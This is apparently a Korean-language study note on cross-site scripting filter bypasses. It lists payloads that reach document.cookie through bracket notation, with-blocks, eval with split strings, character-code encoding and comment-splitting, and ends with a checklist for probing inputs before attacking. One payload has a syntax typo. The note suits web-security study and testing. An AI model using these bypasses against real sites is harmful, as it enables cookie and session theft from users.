XSS 우회 공격

 

document.cookie 우회
document["cookie"]

# document.cookie == documet["cookie"] 를 증명

var obj = {"id":"iu" , "name":"이지은" , "age":"30"}
var result1 = obj.id;
var result2 = obj["id"];

document.write(result1);
document.write(result2);

<script>alert(document["cookie"])</script>

 

document.cookie 우회
with(document){ alert(cookie); }

# document.cookie == with(document){alert(cookie);} 를 증명

var obj = {"id":"iu" , "name":"이지은" , "age":"30"}
with(obj){
    document.write(id);
}

<script>with(document{alert(cookie);}</script>

 

eval 함수 검증 우회
실제로 다양한 개발 코딩에서도 사용하는 함수

단순한 문자열 자체를 자바스크립트 코드로 실행

프로그래밍에서 많은 편리성을 제공하지만 악용하면 심각한 문제

# 문자열인 alert을 eval 함수가 들어가면 자바스크립트 코드로 실행
eval("alert('test')");

var x = 1;
var y = 10;
var result = 0;

eval("result = x+y");
document.write(result);

eval 함수에서 형태는 String 형태 , 실행할시엔 코드

# eval 우회 사용 1
<script>eval("alert(document.cookie)")</script>

# eval 우회 사용 2
# alert | document | cookie 모두 금지 할 경우
# eval은 문자열로 가능하기 때문에 ""와+로 이어쓰기 가능
eval("ale"+"rt"+"(docu"+"ment.cookie)");

BurpSuite에서 Proxy에서 document.cookie 작성 후 드래그 , 오른쪽 버튼 클릭

# eval 우회 사용 3
# document.cookie를 아스키코드로 문자열 변경
document.cookie
String.fromCharCode(13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)

길이제한 우회

# 만약 title이 20글자가 넘어가면 앞에서부터 20글자 추출 후 ... 붙이기(길이제한)
	if(strlen($title)>20){
			$title=substr($title,1,20)."...";	# PHP는 연결 연산자가 . 이다
		}
     
     
<script>alert/*
*/(document./*
*/cookie)</script>

 

1. 사용자 입력값 위치 학인

2. <, >, " 사용 가능 여부

3. 문자 허용 리스트 등 확인

4. 우회가 가능한지 판단 : 특수문자가 사용이 된다/안된다 > input태그면 우회 가능 > " 허용되는 자바

> 문자열 검열이 있다 - alert,document,cookie / ascii, 개행/주석, 멤버 변환

5. 공격 진행